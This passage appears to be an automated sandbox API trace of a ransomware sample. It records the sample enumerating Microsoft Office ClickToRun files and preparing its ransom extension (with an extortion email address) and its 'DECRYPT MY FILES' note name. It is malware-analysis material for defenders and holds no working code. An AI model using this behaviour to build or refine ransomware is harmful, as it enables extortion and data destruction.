shared\\clicktorun\\appvorchestration.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll", len=0x48 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 1 [0107.866] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll") returned 0x48 [0107.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.866] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.866] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.866] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1 [0107.867] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll", len=0x4b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 1 [0107.867] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll") returned 0x4b [0107.867] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.867] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.867] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.867] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.867] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1 [0107.867] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe", len=0x4a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 1 [0107.867] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe") returned 0x4a [0107.867] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.867] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.867] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.867] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.868] GetProcessHeap () returned 0x630000 [0107.868] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x10) returned 0x6b12f8 [0107.868] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0107.868] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll", len=0x43 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 1 [0107.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll") returned 0x43 [0107.868] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.868] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.868] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.868] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.868] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0107.868] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll", len=0x43 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 1 [0107.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") returned 0x43 [0107.868] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.869] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.869] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.869] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.869] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml", cAlternateFileName="C2RHEA~1.XML")) returned 1 [0107.869] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml", len=0x50 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 1 [0107.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml") returned 0x50 [0107.869] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.869] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.869] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.869] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.869] GetProcessHeap () returned 0x630000 [0107.869] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12f8, Size=0x14) returned 0x6b0238 [0107.870] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1 [0107.870] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll", len=0x49 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 1 [0107.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll") returned 0x49 [0107.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.870] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.870] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.870] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0107.870] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll", len=0x47 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 1 [0107.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll") returned 0x47 [0107.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.871] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.871] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.871] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1 [0107.871] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash", len=0x43 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 1 [0107.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash") returned 0x43 [0107.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.871] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.871] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.871] GetProcessHeap () returned 0x630000 [0107.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0238, Size=0x18) returned 0x6b04f8 [0107.872] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1 [0107.872] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash", len=0x46 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 1 [0107.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash") returned 0x46 [0107.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.872] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.872] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.872] GetProcessHeap () returned 0x630000 [0107.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x1c) returned 0x6e8fe0 [0107.872] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0107.872] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe", len=0x4e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 1 [0107.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe", cchLength=0x4e | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe") returned 0x4e [0107.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.873] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.873] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.873] GetProcessHeap () returned 0x630000 [0107.873] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x20) returned 0x6e9378 [0107.873] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1 [0107.873] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe", len=0x49 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 1 [0107.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe") returned 0x49 [0107.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.873] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.873] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.874] GetProcessHeap () returned 0x630000 [0107.874] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9378, Size=0x24) returned 0x6998b8 [0107.874] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0107.874] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll", len=0x4e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 1 [0107.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll", cchLength=0x4e | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll") returned 0x4e [0107.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.874] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.874] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.874] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0107.874] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll", psz="C:\\Program Files\\Common Files\\microsoft 